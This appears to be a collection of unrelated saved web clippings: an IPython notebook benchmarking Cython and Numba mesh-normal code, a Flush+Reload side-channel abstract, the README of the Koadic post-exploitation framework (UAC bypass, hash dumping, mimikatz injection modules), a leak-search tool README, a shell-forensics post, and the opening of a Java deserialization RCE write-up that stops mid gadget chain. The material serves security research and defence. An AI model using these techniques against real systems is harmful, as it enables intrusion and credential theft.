        if np.sum(np.greater(s, 0)) < np.sum(np.less(s, 0)):
            # flip
            normal = -normal
            normalf = -normalf
        
        return normal, normalf
    
[/code]

Out\[27\]:

Generated by Cython 0.19.1 on Fri Aug 16 16:37:23 2013

[code]

     1: 
[/code]

[code]

     2: import numpy as np
[/code]

[code]

     3: cimport numpy as np
[/code]

[code]

     4: cimport cython
[/code]

[code]

     5: 
[/code]

[code]

     6: 
[/code]

[code]

     7: cdef np.ndarray[np.float64_t, ndim=2] normalise(np.ndarray[np.float64_t, ndim=2] vec):
[/code]

[code]

     8:     # Avoid divisions by almost 0 numbers
[/code]

[code]

     9:     cdef np.ndarray[np.float64_t, ndim=1] d = np.sqrt(np.sum(vec ** 2, axis=1))
[/code]

[code]

     10:     d[d < np.spacing(1)] = 1.0
[/code]

[code]

     11:     return vec / d[..., None]
[/code]

[code]

     12: 
[/code]

[code]

     13: 
[/code]

[code]

     14: cdef inline np.ndarray[np.float64_t, ndim=2] cross(double[:, :] x, double[:, :] y):
[/code]

[code]

     15:     cdef np.ndarray[np.float64_t, ndim=2] z = np.empty_like(x)
[/code]

[code]

     16:     cdef int n = x.shape[0]
[/code]

[code]

     17:     for i in range(n):
[/code]

[code]

     18:         z[i, 0] = x[i, 1] * y[i, 2] - x[i, 2] * y[i, 1]
[/code]

[code]

     19:         z[i, 1] = x[i, 2] * y[i, 0] - x[i, 0] * y[i, 2]
[/code]

[code]

     20:         z[i, 2] = x[i, 0] * y[i, 1] - x[i, 1] * y[i, 0]
[/code]

[code]

     21: 
[/code]

[code]

     22:     return z
[/code]

[code]

     23: 
[/code]

[code]

     24: 
[/code]

[code]

     25: cpdef cy_compute_normal(np.ndarray[np.float64_t, ndim=2] vertex, np.ndarray[int, ndim=2] face):
[/code]

[code]

     26:     cdef int nface = face.shape[0]
[/code]

[code]

     27:     cdef int nvert = vertex.shape[0]
[/code]

[code]

     28: 
[/code]

[code]

     29:     # unit normals to the faces
[/code]

[code]

     30:     cdef np.ndarray[np.float64_t, ndim=2] normalf = cross(vertex[face[:, 1], :] - vertex[face[:, 0], :],
[/code]

[code]

     31:                                                           vertex[face[:, 2], :] - vertex[face[:, 0], :])
[/code]

[code]

     32:     normalf = normalise(normalf)
[/code]

[code]

     33: 
[/code]

[code]

     34:     # unit normal to the vertex
[/code]

[code]

     35:     cdef np.ndarray[np.float64_t, ndim=2] normal = np.zeros([nvert, 3])
[/code]

[code]

     36:     cdef int f0, f1, f2
[/code]

[code]

     37:     for i in range(nface):
[/code]

[code]

     38:         f0 = face[i, 0]
[/code]

[code]

     39:         f1 = face[i, 1]
[/code]

[code]

     40:         f2 = face[i, 2]
[/code]

[code]

     41:         for j in range(3):
[/code]

[code]

     42:             normal[f0, j] += normalf[i, j]
[/code]

[code]

     43:             normal[f1, j] += normalf[i, j]
[/code]

[code]

     44:             normal[f2, j] += normalf[i, j]
[/code]

[code]

     45: 
[/code]

[code]

     46:     # normalize
[/code]

[code]

     47:     normal = normalise(normal)
[/code]

[code]

     48: 
[/code]

[code]

     49:     # enforce that the normal are outward
[/code]

[code]

     50:     cdef np.ndarray[np.float64_t, ndim=2] v = vertex - np.mean(vertex)[..., None]
[/code]

[code]

     51:     cdef np.ndarray[np.float64_t, ndim=1] s = np.sum(v * normal, axis=1)
[/code]

[code]

     52:     if np.sum(np.greater(s, 0)) < np.sum(np.less(s, 0)):
[/code]

[code]

     53:         # flip
[/code]

[code]

     54:         normal = -normal
[/code]

[code]

     55:         normalf = -normalf
[/code]

[code]

     56: 
[/code]

[code]

     57:     return normal, normalf
[/code]

In \[28\]:

[code]

    %timeit cy_compute_normal(points, tris)
    print ""
    p = %prun -r cy_compute_normal(points, tris)
    p.print_stats()
    
[/code]

Out\[28\]:

[code]

    10 loops, best of 3: 51.7 ms per loop
    
              39 function calls in 0.045 seconds
    
       Ordered by: internal time
    
       ncalls  tottime  percall  cumtime  percall filename:lineno(function)
            1    0.042    0.042    0.045    0.045 {_cython_magic_637c713b986c525e98b048fef3dc5c09.cy_compute_normal}
            6    0.003    0.000    0.003    0.000 {method 'reduce' of 'numpy.ufunc' objects}
            1    0.000    0.000    0.000    0.000 _internal.py:356(_dtype_from_pep3118)
            5    0.000    0.000    0.003    0.001 fromnumeric.py:1422(sum)
            1    0.000    0.000    0.000    0.000 _methods.py:42(_mean)
            5    0.000    0.000    0.003    0.001 _methods.py:16(_sum)
            1    0.000    0.000    0.000    0.000 _methods.py:32(_count_reduce_items)
            1    0.000    0.000    0.000    0.000 _internal.py:370(get_dummy_name)
            7    0.000    0.000    0.000    0.000 {isinstance}
            1    0.000    0.000    0.045    0.045 <string>:1(<module>)
            1    0.000    0.000    0.000    0.000 numeric.py:322(asanyarray)
            1    0.000    0.000    0.000    0.000 {numpy.core.multiarray.array}
            1    0.000    0.000    0.000    0.000 fromnumeric.py:2405(mean)
            1    0.000    0.000    0.000    0.000 {method 'isdigit' of 'str' objects}
            1    0.000    0.000    0.000    0.000 {method 'disable' of '_lsprof.Profiler' objects}
            1    0.000    0.000    0.000    0.000 {method 'keys' of 'dict' objects}
            1    0.000    0.000    0.000    0.000 _internal.py:561(_gcd)
            1    0.000    0.000    0.000    0.000 {method 'get' of 'dict' objects}
            1    0.000    0.000    0.000    0.000 {len}
            1    0.000    0.000    0.000    0.000 _internal.py:368(next_dummy_name)
    
    
    
[/code]

[code]

    <pstats.Stats instance at 0xd5cb368>
[/code]

## Basic Results

We've now reduced the execution time by almost a third again. Looking at the
profiler output, we see that all of the time is simply spent inside the Cython
function. Since all the operations are vectorized, we are unlikely to see
anything but very incremental improvements. However, we've gone from nearly 3s
down to around 50ms. Looking at the code, we've changed very little from the
original Python version. Easily the most difficult part was rolling our own
cross product, and even that was not really a necessary optimisation.

Now, just for our own piece of mind, we'll check that our optimised Cython
version produces the same output as the original Python implementation.

In \[29\]:

[code]

    cy_normal, cy_normalf = cy_compute_normal(points, tris)
    py_normal, py_normalf = py_compute_normal(points, tris)
    
    print np.allclose(cy_normal, py_normal)
    print np.allclose(cy_normalf, py_normalf)
    
[/code]

[code]

    True
    True
    
[/code]

## Numba

By request I have implemented the algorithm as best I could in Numba. I should
note that:

  * I have no idea what I'm doing using Numba, so this is unlikely to be optimised
  * I had enormous trouble even getting Numba to run on Ubuntu 13.04. I had to build and install my own LLVM-3.2.
  * It took my about 2 hours just to get something to compile, and I had to resort to `print` statements because the output is so useless

I've tried to comment why I did certain unrollings, though I don't justify
them because I don't really understand them. I assume that specifying the
expected type will help the optimisation - but I honestly have no idea.
Presumably the `np.greater` and `np.less` problem is a bug in Numba?

In \[30\]:

[code]

    import numba
    from numba.decorators import autojit, jit
    from math import sqrt
    
    
    # Had to unroll this otherwise it complained about some strange python object
    # coercion error
    @autojit
    def numba_normalise(vec):
        # Avoid divisions by almost 0 numbers
        # np.spacing(1) is equivalent to Matlab's eps
        n = vec.shape[0]
        for i in range(n):
            d = sqrt(vec[i, 0] * vec[i, 0] +
                     vec[i, 1] * vec[i, 1] +
                     vec[i, 2] * vec[i, 2])
            if d < np.spacing(1):
                d = 1.0
    
            vec[i, 0] /= d
            vec[i, 1] /= d
            vec[i, 2] /= d
    
    
    # If I didn't roll my own cross product then computing
    # the normals actually takes LONGER than the pure Python implementation
    @jit(argtypes=(numba.double[:, :], numba.double[:, :]))
    def cross_numba(x, y):
        output = np.empty_like(x)
        n = x.shape[0]
        for i in range(n):
            output[i, 0] = x[i, 1] * y[i, 2] - x[i, 2] * y[i, 1]
            output[i, 1] = x[i, 2] * y[i, 0] - x[i, 0] * y[i, 2]
            output[i, 2] = x[i, 0] * y[i, 1] - x[i, 1] * y[i, 0]
        return output
    
    
    @jit(argtypes=(numba.double[:, :], numba.int32[:, :]))
    def numba_compute_normal(vertex, face):
        nface = face.shape[0]
    
        # Calculate the cross product (per-face normal)
        normalf = cross_numba(vertex[face[:, 1], :] - vertex[face[:, 0], :],
                              vertex[face[:, 2], :] - vertex[face[:, 0], :])
        numba_normalise(normalf)
    
        # Calculate per-vertex normal
        normal = np.zeros_like(vertex)
        for i in range(nface):
            f = face[i, :]
            for j in range(3):
                normal[f[j], :] += normalf[i, :]
    
        # Normalize
        numba_normalise(normal)
    
        # Enforce that the normal are outward
        v = vertex - np.mean(vertex)[..., None]
        s = np.sum(v * normal, axis=1)
        s_gt_sum = 0
        s_lt_sum = 0
    
        # Had to expand this loop otherwise numba complained:
        # 'only length-1 arrays can be converted to Python scalars'
        # On the calls to np.greater and np.less
        for i in range(s.shape[0]):
            if s[i] > 0:
                s_gt_sum += 1
            elif s[i] < 0:
                s_lt_sum += 1
    
        if s_gt_sum < s_lt_sum:
            # flip
            normal = -normal
            normalf = -normalf
    
        return normal, normalf
    
[/code]

As for the results, we've gone down to around 800ms, which is definitely an
improvement. Interestingly, this is on par with a Matlab implementation that I
have \(which is known to be jitted\). To sanity check we will also check that
the output is correct.

In \[31\]:

[code]

    %timeit numba_compute_normal(points, tris)
    
[/code]

[code]

    1 loops, best of 3: 783 ms per loop
    
[/code]

In \[32\]:

[code]

    numba_normal, numba_normalf = numba_compute_normal(points, tris)
    py_normal, py_normalf = py_compute_normal(points, tris)
    
    print np.allclose(numba_normal, py_normal)
    print np.allclose(numba_normalf, py_normalf)
    
[/code]

[code]

    True
    True
    
[/code]

Back to top

More info on  IPython website . The code for this site is licensed under BSD.
Some icons from Glyphicons Free, built thanks to  Twitter Bootstrap

This web site does not host notebooks, it only renders notebooks available on
other websites. Thanks to all our contributors.

# Cryptology ePrint Archive: Report 2013/448

**Created:**| _7/28/2013 7:49:32 AM_  
---|---  
**Updated:**| _7/28/2013 7:50:31 AM_  
**Author:**| __  
**Tags:**| _crypto_  
  

# **C** ryptology ePrint Archive: Report 2013/448****

**Flush+Reload: a High Resolution, Low Noise, L3 Cache Side-Channel Attack**

_Yuval Yarom and Katrina Falkner_

**Abstract:** Flush+Reload is a cache side-channel attack that monitors access
to data in shared pages**.** In this paper we demonstrate how to use the
attack to extract private encryption keys from GnuPG**.** The high resolution
and low noise of the Flush+Reload attack enables a spy program to recover over
98% of the bits of the private key in a single decryption or signing
round**.** Unlike previous attacks, the attack targets the last level L3
cache**.** Consequently, the spy program and the victim do not need to share
the execution core of the CPU**.** The attack is not limited to a traditional
OS and can be used in a virtualised environment, where it can attack programs
executing in a different VM**.**

**Category / Keywords:** Side Channel Attack, Cache, RSA, Exponentiation

**Date:** received 18 Jul 2013

**Contact author:** yval at cs adelaide edu au

**Available format\(s\):**PDF  | BibTeX Citation 
**Version:**20130722:123058  \(All versions of this report \)

**Discussion forum: **Show discussion  | Start new discussion 
* * *
\[ Cryptology ePrint archive  \] ****

Verwandte Notizen

Untitled

Cryptology ePrint Archive: Report 2011/232Cryptology ePrint Archive: Report
2011/232 Remote Timing Attacks are Still Practical Billy Bob Brumley and
Nicola Tuveri Abstract:For over two decades, timing attacks have been an
active area of resea...

  

  

  
<img src='img/448.pdf' />  
  

# zerosum0x0/koadic

**Created:**| _9/4/2017 9:49:12 AM_  
---|---  
**Updated:**| _9/4/2017 9:49:12 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# Koadic

Koadic, or COM Command & Control, is a Windows post-exploitation rootkit
similar to other penetration testing tools such as Meterpreter and Powershell
Empire. The major difference is that Koadic does most of its operations using
Windows Script Host \(a.k.a. JScript/VBScript\), with compatibility in the
core to support a default installation of Windows 2000 with no service packs
\(and potentially even versions of NT4\) all the way through Windows 10.

It is possible to serve payloads completely in memory from stage 0 to beyond,
as well as use cryptographically secure communications over SSL and TLS
\(depending on what the victim OS has enabled\).

Koadic also attempts to be compatible with both Python 2 and Python 3.

### Demo

<img
src='img/687474703a2f2f696d672e796f75747562652e636f6d2f76692f456d5578547153354772412f302e6a7067.jpg'
width='480' height='360' alt='Koadic Demo' />

  1. Hooks a zombie
  2. Elevates integrity \(UAC Bypass\)
  3. Dumps SAM/SECURITY hive for passwords
  4. Scans local network for open SMB
  5. Pivots to another machine

### Stagers

Stagers hook target zombies and allow you to use implants.

Module | Description  
---|---  
stager/js/mshta | serves payloads in memory using MSHTA.exe HTML Applications  
stager/js/regsvr | serves payloads in memory using regsvr32.exe COM+ scriptlets  
stager/js/rundll32\_js | serves payloads in memory using rundll32.exe  
stager/js/disk | serves payloads using files on disk  
### Implants

Implants start jobs on zombies.

Module | Description  
---|---  
implant/elevate/bypassuac\_eventvwr | Uses enigma0x3's eventvwr.exe exploit to bypass UAC on Windows 7, 8, and 10.  
implant/elevate/bypassuac\_sdclt | Uses enigma0x3's sdclt.exe exploit to bypass UAC on Windows 10.  
implant/fun/zombie | Maxes volume and opens The Cranberries YouTube in a hidden window.  
implant/fun/voice | Plays a message over text-to-speech.  
implant/gather/clipboard | Retrieves the current content of the user clipboard.  
implant/gather/hashdump\_sam | Retrieves hashed passwords from the SAM hive.  
implant/gather/hashdump\_dc | Domain controller hashes from the NTDS.dit file.  
implant/inject/mimikatz\_dynwrapx | Injects a reflective-loaded DLL to run powerkatz.dll \(using Dynamic Wrapper X\).  
implant/inject/mimikatz\_dotnet2js | Injects a reflective-loaded DLL to run powerkatz.dll \(@tirannido DotNetToJS\).  
implant/inject/shellcode\_excel | Runs arbitrary shellcode payload \(if Excel is installed\).  
implant/manage/enable\_rdesktop | Enables remote desktop on the target.  
implant/manage/exec\_cmd | Run an arbitrary command on the target, and optionally receive the output.  
implant/pivot/stage\_wmi | Hook a zombie on another machine using WMI.  
implant/pivot/exec\_psexec | Run a command on another machine using psexec from sysinternals.  
implant/scan/tcp | Uses HTTP to scan open TCP ports on the target zombie LAN.  
implant/utils/download\_file | Downloads a file from the target zombie.  
implant/utils/upload\_file | Uploads a file from the listening server to the target zombies.  
### Disclaimer

Code samples are provided for educational purposes. Adequate defenses can only
be built by researching attack techniques available to malicious actors. Using
this code against target systems without prior permission is illegal in most
jurisdictions. The authors are not liable for any damages from misuse of this
information or code.

### Creators

  * @Aleph\_\_\_Naught
  * @The\_Naterz
  * @JennaMagius
  * @zerosum0x0

### Contributors

  * @vvalien1
  * fbctf
  * cclaus
  * Arno0x
  * delirious-lettuce

### Acknowledgements

Special thanks to research done by the following individuals:

  * @subTee
  * @enigma0x3
  * @tiraniddo
  * @harmj0y
  * @gentilkiwi
  * @mattifestation
  * clymb3r

  

# n4xh4ck5/RastLeak

**Created:**| _9/4/2017 9:49:25 AM_  
---|---  
**Updated:**| _9/4/2017 9:49:25 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# RastLeak

Tool to automatic leak information using Hacking with engine searches

# How to install

Install requirements with:

pip install -r requirements.txt

\#How to use:

python rastleak.py

The last stable version is rastleak.py

$python rastleak.py -h

usage: rastleak.py \[-h\] -d DOMAIN -o OPTION -n SEARCH -e EXT \[-f EXPORT\]

This script searchs files indexed in the main searches of a domain to detect a
possible leak information

optional arguments:

-h, --help show this help message and exit
-d DOMAIN, --domain DOMAIN
[code]

                        The domain which it wants to search
    
[/code]

-o OPTION, --option OPTION
[code]

                        Indicate the option of search
                        
                        	1.Searching leak information into the target
                          
                        	2.Searching leak information outside target
    
[/code]

-n SEARCH, --search SEARCH
[code]

                        Indicate the number of the search which you want to do
    
[/code]

-e EXT, --ext EXT Indicate the option of display:
[code]

                        	1-Searching the domains where these files are found
                          
                        	2-Searching ofimatic files
    
[/code]

-f EXPORT, --export EXPORT
[code]

                        Indicate the type of format to export results.
                        
                        	1.json (by default)
                          
                        	2.xlsx               
    
[/code]

  

# Javelin Networks

**Created:**| _5/7/2017 10:14:49 AM_  
---|---  
**Updated:**| _5/7/2017 10:14:49 AM_  
**Author:**| __  
**Tags:**| _Memory forensics_  
  

  

# Exposing Command Line Shells History with PowerShell

#### By | April 30, 2017 
* * *
According to almost every cyber security vendor, the biggest trend in the last
few years is the use of Non-Malware attacks. Scripting languages are becoming
more prominent than before—a few lines of PowerShell code can be used as a
full hacking toolkit, open source hacking frameworks based on PowerShell and
Python are easily accessible, and the bad guys are taking advantage of the
“new reality” we’re living in.

<img src='img/Temp2_4678.jpg' width='576' height='109' />

Take, for example, these posts from Symantec, Carbon Black, Securelist and
Threatpost about the trend of Non-Malware attacks.

There are a few reasons why we see increased use of scripting language based
malwares:

  * 1\. Some of them are installed by default on every Windows operating system.
  * 2\. They’re hard to detect because they leverage legitimate tools to perform malicious activity. 
  * 3\. Shell-based attacks have the ability to exist only in memory.

Since **Windows 7 and above** , the **conhost.exe** process is responsible for
each opened instance of **command-line consoles**. For each newly opened
console shell, a new conhost process is opened as well. So dumping the content
of the conhost process can carve us the actual input and output of each
command-line application, such as **PowerShell** , **CMD, Python, Wscript,**
and more.

<img src='img/Temp2_4681.jpg' width='576' height='140' />

New conhost process opened for each console shell

Until now, the most common way to investigate shells during forensics
investigation was using the **CMDSCAN** and **CONSOLES** modules in **rekall**
and **Volatility** frameworks—but they don’t always extract all of the data
available inside the memory section of the conhost process. Additionally,
executing memory analysis using these tools is usually slow as it needs full
memory dump, whereas another faster and more scalable solution might be
desirable.

<img src='img/Temp2_4679.jpg' width='576' height='260' />

Hey Rekall, I need the results now\!

Investigating command-line console is most effective when running it
immediately after the console was opened because most of the volatile data
still resides in the memory. That’s why an easy and fast Powershell-based tool
will be the best choice for your automated IR arsenal.

We created a PowerShell-based script called **Get-ShellContent** , leveraging
a modified **Strings2** tool loaded in-memory, to extract all the strings of
any **running** or **dumped** process. This script is parsing and distilling
the input and output of the investigated shell. You’ll get full visibility
into the screen buffer the attacker used, the commands he wrote, and the
results he received—Incident Response Forensics at its best\!

<img src='img/Temp2_4680.jpg' width='576' height='344' />

This small script runs **in-memory** , so no additional files are necessary to
execute the tool. It offers a fast, accurate, and scalable method to
investigate remote and local shells without any hustle—the cleanest
methodology as possible. \(Note: remote capabilities require WinRM.\)

So far, the tools extracted the content of the following command-line shells:
**PowerShell** , **CMD** , **Python** , **Wscript** , **MySQL Client,** and
some custom shells such as **Mimikatz** console. In some cases, the tools
might be helpful to extract encrypted shells like the one used in **PowerShell
Empire Agent**. You can point the script straight to the shell process instead
of the conhost process, or use the **–Deep** flag.

Introducing **_Get-ShellContent_** v1.0, supporting PowerShell v2.0 and above,
with remote WinRM capabilities.

  * \* Use **_–ComputerName_**** _\[TARGET\]_** to analyze shells on remote target endpoint.
  * \* Use **_–ProcDump_**** _\[DumpPath\]_** to analyze Process Dump \(Conhost or Shell\) file.
  * \* Use **_–Deep_** to scan the actual process of the shell for any remaining data \(You’ll get FP\). 
  * \* Use **_–ProcessID_**** _\[PID\]_** to analyze specific \(Conhost or Shell\) process; don’t use the flag if you want to scan all the processes automatically.

Download the script from our **github:**

https://github.com/JavelinNetworks/IR-Tools/blob/master/Get-ShellContent.ps1

  

# What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application
Have in Common? This Vulnerability.

**Created:**| _11/7/2015 4:43:13 PM_  
---|---  
**Updated:**| _11/7/2015 4:43:13 PM_  
**Author:**| __  
**Tags:**| __  
  
  

Posted on November 6, 2015

# What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application
Have in Common? This Vulnerability.

By @breenmachine

## What?

The most underrated, underhyped vulnerability of 2015 has recently come to my
attention, and I’m about to bring it to yours. No one gave it a fancy name,
there were no press releases, nobody called Mandiant to come put out the
fires. In fact, even though proof of concept code was released OVER 9 MONTHS
AGO, none of the products mentioned in the title of this post have been
patched, along with many more. In fact no patch is available for the Java
library containing the vulnerability. In addition to any commercial products
that are vulnerable, this also affects many custom applications.

In this post I’ll be dropping pre-authentication, remote code execution
exploits that leverage this vulnerability for WebLogic, WebSphere, JBoss,
Jenkins, and OpenNMS. All on the newest versions. Even more interesting, I’ll
detail the process we went through to discover that these products were
vulnerable, and how I developed the exploits. This should empower you to go
out and find this same bug in your own software or commercial products that
you or your clients use. All code can be found on the FoxGlove Security
Github.

I’ll also be touching on why this bug is unlikely to go away soon. You can
infuriate your developers and ops people by telling them to follow the
instructions in “The Fix” section to remediate this in your environment. It
will fix it, but it’s an admittedly ugly solution.

This post is going to be long. Because I’m a nice person, I made you an index.
Feel free to skip straight to the exploits if you’ve got better things to do
than read my rambling:

  1. Background – Unserialize vulnerabilities and why didn’t I hear about this sooner?
  2. The Vulnerability – Light details on the work of @frohoff and @gebl
  3. How Common is Commons? – How to find software that is vulnerable
  4. Exploit Dev for Skiddies – The high level process to using this vulnerability
  5. Exploit 1 – WebSphere Application Server
  6. Exploit 2 – JBoss Application Server
  7. Exploit 3 – Jenkins
  8. Exploit 4 – WebLogic Application Server
  9. Exploit 5 – OpenNMS Through RMI
  10. The Fix – How to Monkey Patch Your Servers

## Background

### Unserialize Vulnerabilities for Dummies

Unserialize vulnerabilities are a vulnerability class. Most programming
languages provide built-in ways for users to output application data to disk
or stream it over the network. The process of converting application data to
another format \(usually binary\) suitable for transportation is called
serialization. The process of reading data back in after it has been
serialized is called unserialization.

Vulnerabilities arise when developers write code that accepts serialized data
from users and attempt to unserialize it for use in the program. Depending on
the language, this can lead to all sorts of consequences, but most
interesting, and the one we will talk about here is remote code execution.

### Previous Work

There have been a few Java unserialize vulnerabilities published in the past
few years. One was discovered in the Spring framework, another in Groovy, and
yet another in one of the other commons library, commons fileupload. All of
these vulnerabilities were eventually fixed.

Unfortunately I can’t take credit for finding the vulnerability in the
commons-collections library. Myself and a fellow researcher, @dronesec really
dropped the ball on this one. Nearly two years ago, we decided we wanted 0-day
in WebSphere application server. The project started off promising, with such
a large code base and so much exposed, there had to be something vulnerable.

After some time searching we eventually got it into our heads that it would be
amazing if we could find an unserialize vulnerability in Java or a common
library. Why? Because EVERYTHING in the Java world uses object serialization,
and almost everything can be coerced into accepting unsafe, user provided
serialized data \(see the exploits section of this post for proof\).

We started down this path and found some cool leads in the world of Java
unserialize vulnerabilities, some of which we’ll probably continue to look
into. Unfortunately, we didn’t find anything leading to remote code execution.

### Java Serialization – How a Library Screwed You Over

#### Serialization Basics

Unserialize vulnerabilities are totally language dependent. Here I’ll describe
the basics of how it works in Java, and why an unserialize vulnerability in
any of the hundreds of libraries your application loads, **even libraries you
don’t use** , can ruin your day.

As described earlier, serialization is the process by which your programming
language lets you convert data to a static, binary format, suitable for saving
to disk or sending over the network.

Unserialization, or deserialization, is exactly the opposite. It takes binary
data and converts it back to something that you can use. Since this is all a
bit hand-wavy and high level, let’s take a look at some basic Java code that
shows how someone might use serialization.

12345678910111213141516171819202122232425262728| `import`
`java.io.ObjectInputStream;``import` `java.io.FileInputStream;``import`
`java.io.ObjectOutputStream;``import` `java.io.FileOutputStream;` `public`
`class` `SerializeTest{`` ``public` `static` `void` `main(String args[])
``throws` `Exception{`` ``//This is the object we're going to serialize.``
``String name = ``"bob"``;` ` ``//We'll write the serialized data to a file
"name.ser"`` ``FileOutputStream fos = ``new`
`FileOutputStream(``"name.ser"``);`` ``ObjectOutputStream os = ``new`
`ObjectOutputStream(fos);`` ``os.writeObject(name);`` ``os.close();` `
``//Read the serialized data back in from the file "name.ser"``
``FileInputStream fis = ``new` `FileInputStream(``"name.ser"``);``
``ObjectInputStream ois = ``new` `ObjectInputStream(fis);` ` ``//Read the
object from the data stream, and convert it back to a String`` ``String
nameFromDisk = (String)ois.readObject();` ` ``//Print the result.``
``System.out.println(nameFromDisk);`` ``ois.close();`` ``}``}`  
---|---  
The above code simply writes the String “bob” to disk using Java’s
serializable interface, then reads it back in and prints the result. The
following shows the output from running this code:

1234| `breens``@us``-l-breens:~/Desktop/SerialTest$ java
SerializeTest``bob``breens``@us``-l-breens:~/Desktop/SerialTest$ xxd
name.ser``0000000``: aced ``0005` `7400` `0362` `6f62 ....t..bob`  
---|---  
Notice the file on disk “name.ser” is binary, it has some non-printable
characters. In particular the bytes “aced 0005” – these are the “magic bytes”
you’ll see at the beginning of any Java serialized object.

Not particularly exciting, but a good demonstration of the basics of Java
object serialization.

#### Java Objects and More Complex Serialization

As an object oriented language, Java has a concept of Objects. Those
unfamiliar with the concept can think of these like user defined data types.
For example, in Java, a String is a type, and you can do things like this:

12345| `String name = ``"bob"``;``System.out.println(name.length());``//This
prints out "3"``System.out.println(name.substring(``0``,``2``));``//This
prints out "bo"`  
---|---  
The methods “length” and “substring” aren’t magic. They’re part of the
definition of the “String” object. As a programmer, you can define your own
objects and methods.

Now that we’ve skipped about 6 months of “Intro to Java”, let’s skip a few
more and go straight to custom object serialization. Consider the following
code:

12345678910111213141516171819202122232425262728293031323334353637383940|
`import` `java.io.ObjectInputStream;``import`
`java.io.FileInputStream;``import` `java.io.ObjectOutputStream;``import`
`java.io.FileOutputStream;``import` `java.io.Serializable;``import`
`java.io.IOException;` `public` `class` `SerializeTest{` ` ``public` `static`
`void` `main(String args[]) ``throws` `Exception{`` ``//This is the object
we're going to serialize.`` ``MyObject myObj = ``new` `MyObject();``
``myObj.name = ``"bob"``;` ` ``//We'll write the serialized data to a file
"object.ser"`` ``FileOutputStream fos = ``new`
`FileOutputStream(``"object.ser"``);`` ``ObjectOutputStream os = ``new`
`ObjectOutputStream(fos);`` ``os.writeObject(myObj);`` ``os.close();` `
``//Read the serialized data back in from the file "object.ser"``
``FileInputStream fis = ``new` `FileInputStream(``"object.ser"``);``
``ObjectInputStream ois = ``new` `ObjectInputStream(fis);` ` ``//Read the
object from the data stream, and convert it back to a String`` ``MyObject
objectFromDisk = (MyObject)ois.readObject();` ` ``//Print the result.``
``System.out.println(objectFromDisk.name);`` ``ois.close();`` ``}``}` `class`
`MyObject ``implements` `Serializable{`` ``public` `String name;`` ``private`
`void` `readObject(java.io.ObjectInputStream in) ``throws` `IOException,
ClassNotFoundException{`` ``in.defaultReadObject();`` ``this``.name =
``this``.name+``"!"``;`` ``}``}`  
---|---  
Let’s also take a look at the output when this runs:

1234567| `breens@us-l-breens:~/Desktop/SerialTest$ java
SerializeTest``bob!``breens@us-l-breens:~/Desktop/SerialTest$ xxd
object.ser``0000000: aced 0005 7372 0008 4d79 4f62 6a65 6374
....sr..MyObject``0000010: cf7a 75c5 5dba f698 0200 014c 0004 6e61
.zu.]......L..na``0000020: 6d65 7400 124c 6a61 7661 2f6c 616e 672f
met..Ljava/lang/``0000030: 5374 7269 6e67 3b78 7074 0003 626f 62
String;xpt..bob`  
---|---  
Okay, so what’s going on here, and why should we care? The code here is very
similar to the basic one we first showed, except here the object being
serialized is user-defined and called “MyObject”. The “MyObject” class
implements the java “Serializable” interface, and defines a method called
“readObject”.

Now looking at the output, we see something a little strange. Instead of the
name we defined in the string, “bob”, getting printed to the console, we see
that “bob\!” got printed. Further, if we read the output from “xxd” to see
what was written to disk, we don’t see any trace of the rogue exclamation
point\! Where did this come from?

The key here is the readObject method of course. When Java reads in a
serialized object, the first thing it does after reading in the raw bytes is
call the user-defined “readObject” method if it exists. In this case, the
“readObject” method appended an exclamation point to the name.

#### What Could Possibly Go Wrong?

Now let’s consider what we’ve learned so far in the context of Java web
applications and application servers.

Java LOVES sending serialized objects all over the place. For example:

  * In HTTP requests – Parameters, ViewState, Cookies, you name it.
  * RMI – The extensively used Java RMI protocol is 100% based on serialization
  * RMI over HTTP – Many Java thick client web apps use this – again 100% serialized objects
  * JMX – Again, relies on serialized objects being shot over the wire
  * Custom Protocols – Sending an receiving raw Java objects is the norm – which we’ll see in some of the exploits to come

Okay, so what you ask? Well what if we knew of an object that implemented a
“readObject” method that did something dangerous? What if instead of appending
an exclamation point to a user defined string, it could be massaged into
running a user defined command on the operating system? That would be pretty
bad.

Suppose such a vulnerable object existed, but wasn’t part of “core” Java, but
instead just part of a library. Think about the requirements for exploitation:

  * That library would need to be on the Java “classpath”
  * The application would need to deserialize untrusted user input

We’ve already determined that requirement 2 is very often satisfied.
Requirement 1 could be satisfied if we could find such a vulnerability in a
commonly used library…

### One Vulnerability to Rule Them All

On January 28th, 2015, the slides for a talk titled “Marshalling Pickles” were
posted to slideshare.The talk was given at AppSecCali by Gabriel Lawrence
\(@gebl\) and Chris Frohoff \(@frohoff\). The world didn’t seem to care.

During their talk, Gabriel and Chris released an unserialize vulnerability in
the “commons collections” library that results in remote code execution. This
library is EXTREMELY popular in the Java world.

What this means is that any application or application framework that uses it
\(there are many\), and unserializes untrusted data \(again many\) now has an
open CVSS 10.0 vulnerability. This means:

  * Defenders – Anyone on your network and potentially the Internet can compromise many of your application servers, including some appliances.
  * Pentesters – This vulnerability is amazing. Runs in memory and isn’t going away anytime soon. Remote code execution in many many things including custom applications
  * Checkbox Checkers – Uncheck the boxes, you’re probably not compliant anymore \(and let’s be honest, you probably never were\)

How do you fix it? After nearly a year, the commons-collections framework
still has this bug outstanding. You need to manually fix the library by hand
by removing class files that are leveraged by the exploit from the Jar file.
See “The Fix” section of this post for more detailed information.

Further, Java libraries aren’t like other libraries we’ve seen these types of
vulnerability in. For example OpenSSL is usually run as a shared library, so
you can update all your RedHat boxes and magically you’re not vulnerable to
HeartBleed anymore. Java libraries are a mess in comparison. Every application
server comes with its own bundle of libraries, even worse, every application
you deploy on the server often comes with its own set as well. To fix this
completely, you need to find and update every single library individually.

## The Vulnerability

The unserialize vulnerability is in the commons-collections Java library. If
you recall from the Background section, we were looking for a Java object that
does something “dangerous” inside of its “readObject” method. This exploit
follows a maze of objects, all nested inside each other with the end result
being that unserializing the parent causes a command to be run on the system.
The following is taken directly from the payload generating code released on
github:

123456789101112131415161718192021222324252627282930| `public`
`InvocationHandler getObject(``final` `String command) ``throws` `Exception
{`` ``final` `String[] execArgs = ``new` `String[] { command };`` ``// inert
chain for setup`` ``final` `Transformer transformerChain = ``new`
`ChainedTransformer(`` ``new` `Transformer[]{ ``new`
`ConstantTransformer(``1``) });`` ``// real chain for after setup`` ``final`
`Transformer[] transformers = ``new` `Transformer[] {`` ``new`
`ConstantTransformer(Runtime.``class``),`` ``new`
